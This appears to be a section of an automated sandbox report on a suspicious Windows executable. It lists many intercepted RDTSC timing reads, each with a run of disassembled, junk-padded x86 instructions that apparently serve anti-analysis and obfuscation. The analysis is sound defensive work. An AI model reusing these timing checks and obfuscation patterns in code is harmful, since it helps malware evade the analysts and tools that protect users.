Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F50036 second address: 4F50047 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 0416ED81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e movsx edx, si 0x00000011 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F50047 second address: 4F5005A instructions: 0x00000000 rdtsc 0x00000002 mov ebx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov esi, 77336B57h 0x0000000b popad 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F5005A second address: 4F5005E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F5005E second address: 4F50062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F50062 second address: 4F50068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F50068 second address: 4F500AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 pushfd 0x00000007 jmp 00007FAD00757CA9h 0x0000000c and esi, 60F9E0E6h 0x00000012 jmp 00007FAD00757CA1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F500AB second address: 4F500AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F500AF second address: 4F500B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F500B3 second address: 4F500B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F500B9 second address: 4F500DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, dx 0x00000010 movsx ebx, si 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F500DA second address: 4F500E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F500E0 second address: 4F500E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F8075F second address: 4F80763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F80763 second address: 4F8078E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAD00757C9Dh 0x00000008 and cx, 1106h 0x0000000d jmp 00007FAD00757CA1h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F8078E second address: 4F807D7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FAD011DC3A4h 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FAD011DC39Dh 0x00000018 adc ecx, 3A7F33C6h 0x0000001e jmp 00007FAD011DC3A1h 0x00000023 popfd 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F807D7 second address: 4F807DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F60350 second address: 4F60354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F60354 second address: 4F6035A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F6035A second address: 4F60396 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC39Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FAD011DC3A0h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FAD011DC3A7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F50DBF second address: 4F50DF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FAD00757C9Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F50DF1 second address: 4F50DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F50DF8 second address: 4F50E12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757C9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F50E12 second address: 4F50E18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F50E18 second address: 4F50E35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD00757CA9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F60161 second address: 4F60165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F60165 second address: 4F6016B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F6016B second address: 4F601C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FAD011DC3A0h 0x0000000b and esi, 661E1DD8h 0x00000011 jmp 00007FAD011DC39Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FAD011DC39Bh 0x00000024 sub cx, 009Eh 0x00000029 jmp 00007FAD011DC3A9h 0x0000002e popfd 0x0000002f mov dx, ax 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F601C9 second address: 4F60213 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757C9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FAD00757CA1h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FAD00757C9Eh 0x00000015 mov ebp, esp 0x00000017 jmp 00007FAD00757CA0h 0x0000001c pop ebp 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F60213 second address: 4F60217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F80008 second address: 4F8000E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F8000E second address: 4F80036 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, di 0x00000010 mov edx, 18D5AFE2h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F80036 second address: 4F80049 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD00757C9Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F80049 second address: 4F800AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov dl, 84h 0x0000000f pushfd 0x00000010 jmp 00007FAD011DC3A8h 0x00000015 jmp 00007FAD011DC3A5h 0x0000001a popfd 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FAD011DC39Dh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F800AC second address: 4F800F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FAD00757C9Eh 0x00000010 xchg eax, ecx 0x00000011 jmp 00007FAD00757CA0h 0x00000016 push eax 0x00000017 jmp 00007FAD00757C9Bh 0x0000001c xchg eax, ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F800F5 second address: 4F800F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F800F9 second address: 4F800FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F800FD second address: 4F80103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F80103 second address: 4F80109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F80109 second address: 4F8011C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [775F65FCh] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F8011C second address: 4F80120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F80120 second address: 4F80124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F80124 second address: 4F8012A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F8012A second address: 4F80130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F80130 second address: 4F80134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F80134 second address: 4F801A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a jmp 00007FAD011DC39Ah 0x0000000f je 00007FAD737CFBB4h 0x00000015 pushad 0x00000016 mov dx, ax 0x00000019 call 00007FAD011DC39Ah 0x0000001e mov edi, ecx 0x00000020 pop eax 0x00000021 popad 0x00000022 mov ecx, eax 0x00000024 jmp 00007FAD011DC39Dh 0x00000029 xor eax, dword ptr [ebp+08h] 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f pushfd 0x00000030 jmp 00007FAD011DC3A3h 0x00000035 sub esi, 7F6723DEh 0x0000003b jmp 00007FAD011DC3A9h 0x00000040 popfd 0x00000041 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F80297 second address: 4F802C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757C9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FAD00757C9Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FAD00757C9Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F802C9 second address: 4F802CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F802CD second address: 4F802D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F300A5 second address: 4F30119 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAD011DC3A8h 0x00000008 sub al, 00000068h 0x0000000b jmp 00007FAD011DC39Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 and esp, FFFFFFF8h 0x00000017 jmp 00007FAD011DC3A6h 0x0000001c xchg eax, ecx 0x0000001d pushad 0x0000001e movzx esi, dx 0x00000021 mov ax, di 0x00000024 popad 0x00000025 push eax 0x00000026 jmp 00007FAD011DC3A4h 0x0000002b xchg eax, ecx 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FAD011DC39Ch 0x00000034 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30119 second address: 4F301AD instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007FAD00757CA8h 0x0000000e mov dword ptr [esp], ebx 0x00000011 jmp 00007FAD00757CA0h 0x00000016 mov ebx, dword ptr [ebp+10h] 0x00000019 jmp 00007FAD00757CA0h 0x0000001e xchg eax, esi 0x0000001f jmp 00007FAD00757CA0h 0x00000024 push eax 0x00000025 pushad 0x00000026 mov dx, 5EF4h 0x0000002a pushfd 0x0000002b jmp 00007FAD00757C9Dh 0x00000030 sub cx, 10B6h 0x00000035 jmp 00007FAD00757CA1h 0x0000003a popfd 0x0000003b popad 0x0000003c xchg eax, esi 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FAD00757C9Dh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F301AD second address: 4F301F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 49h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov esi, dword ptr [ebp+08h] 0x0000000d jmp 00007FAD011DC3A4h 0x00000012 xchg eax, edi 0x00000013 jmp 00007FAD011DC3A0h 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FAD011DC39Eh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F301F0 second address: 4F30275 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757C9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FAD00757CA6h 0x0000000f test esi, esi 0x00000011 pushad 0x00000012 mov ax, 640Dh 0x00000016 push ecx 0x00000017 mov al, bh 0x00000019 pop eax 0x0000001a popad 0x0000001b je 00007FAD72D96089h 0x00000021 pushad 0x00000022 mov bx, ax 0x00000025 popad 0x00000026 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002d pushad 0x0000002e mov ecx, 449F96B1h 0x00000033 mov edi, ecx 0x00000035 popad 0x00000036 je 00007FAD72D96084h 0x0000003c jmp 00007FAD00757CA8h 0x00000041 mov edx, dword ptr [esi+44h] 0x00000044 pushad 0x00000045 mov di, cx 0x00000048 mov ebx, eax 0x0000004a popad 0x0000004b or edx, dword ptr [ebp+0Ch] 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FAD00757C9Bh 0x00000055 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30275 second address: 4F3027B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F3027B second address: 4F3028F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test edx, 61000000h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F3028F second address: 4F30293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30293 second address: 4F30299 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30299 second address: 4F302F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FAD7381A776h 0x0000000f jmp 00007FAD011DC3A6h 0x00000014 test byte ptr [esi+48h], 00000001h 0x00000018 jmp 00007FAD011DC3A0h 0x0000001d jne 00007FAD7381A75Fh 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FAD011DC3A7h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F302F7 second address: 4F302FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20741 second address: 4F20759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD011DC3A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20759 second address: 4F2075D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F2075D second address: 4F2076C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F2076C second address: 4F20785 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20785 second address: 4F2078B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F2078B second address: 4F207C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f mov esi, 29EC57DBh 0x00000014 mov edx, esi 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov ch, bh 0x0000001e jmp 00007FAD00757CA0h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F207C8 second address: 4F207CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F207CE second address: 4F207D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F207D2 second address: 4F207D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F207D6 second address: 4F2080E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF8h 0x0000000b pushad 0x0000000c mov ecx, edx 0x0000000e mov esi, edi 0x00000010 popad 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov al, dh 0x00000017 pushfd 0x00000018 jmp 00007FAD00757CA0h 0x0000001d xor ah, 00000068h 0x00000020 jmp 00007FAD00757C9Bh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F2080E second address: 4F20813 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20813 second address: 4F208DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, dh 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FAD00757C9Ah 0x00000013 xor cx, B0C8h 0x00000018 jmp 00007FAD00757C9Bh 0x0000001d popfd 0x0000001e mov ax, 563Fh 0x00000022 popad 0x00000023 xchg eax, esi 0x00000024 jmp 00007FAD00757CA2h 0x00000029 push eax 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007FAD00757CA1h 0x00000031 and cl, FFFFFF96h 0x00000034 jmp 00007FAD00757CA1h 0x00000039 popfd 0x0000003a mov bx, si 0x0000003d popad 0x0000003e xchg eax, esi 0x0000003f jmp 00007FAD00757C9Ah 0x00000044 mov esi, dword ptr [ebp+08h] 0x00000047 jmp 00007FAD00757CA0h 0x0000004c sub ebx, ebx 0x0000004e pushad 0x0000004f movsx edx, si 0x00000052 pushfd 0x00000053 jmp 00007FAD00757CA8h 0x00000058 or ecx, 7FD9DA48h 0x0000005e jmp 00007FAD00757C9Bh 0x00000063 popfd 0x00000064 popad 0x00000065 test esi, esi 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a mov di, E4B6h 0x0000006e mov ax, dx 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F208DE second address: 4F2096A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAD011DC3A6h 0x00000009 sbb si, FFD8h 0x0000000e jmp 00007FAD011DC39Bh 0x00000013 popfd 0x00000014 mov edx, esi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 je 00007FAD73821E16h 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FAD011DC3A7h 0x00000026 or ecx, 6392BF4Eh 0x0000002c jmp 00007FAD011DC3A9h 0x00000031 popfd 0x00000032 popad 0x00000033 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000003a jmp 00007FAD011DC39Eh 0x0000003f mov ecx, esi 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F2096A second address: 4F2096E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F2096E second address: 4F209B5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov ebx, esi 0x00000009 pushfd 0x0000000a jmp 00007FAD011DC3A0h 0x0000000f add ax, 0628h 0x00000014 jmp 00007FAD011DC39Bh 0x00000019 popfd 0x0000001a popad 0x0000001b popad 0x0000001c je 00007FAD73821D9Eh 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FAD011DC3A0h 0x0000002b rdtsc
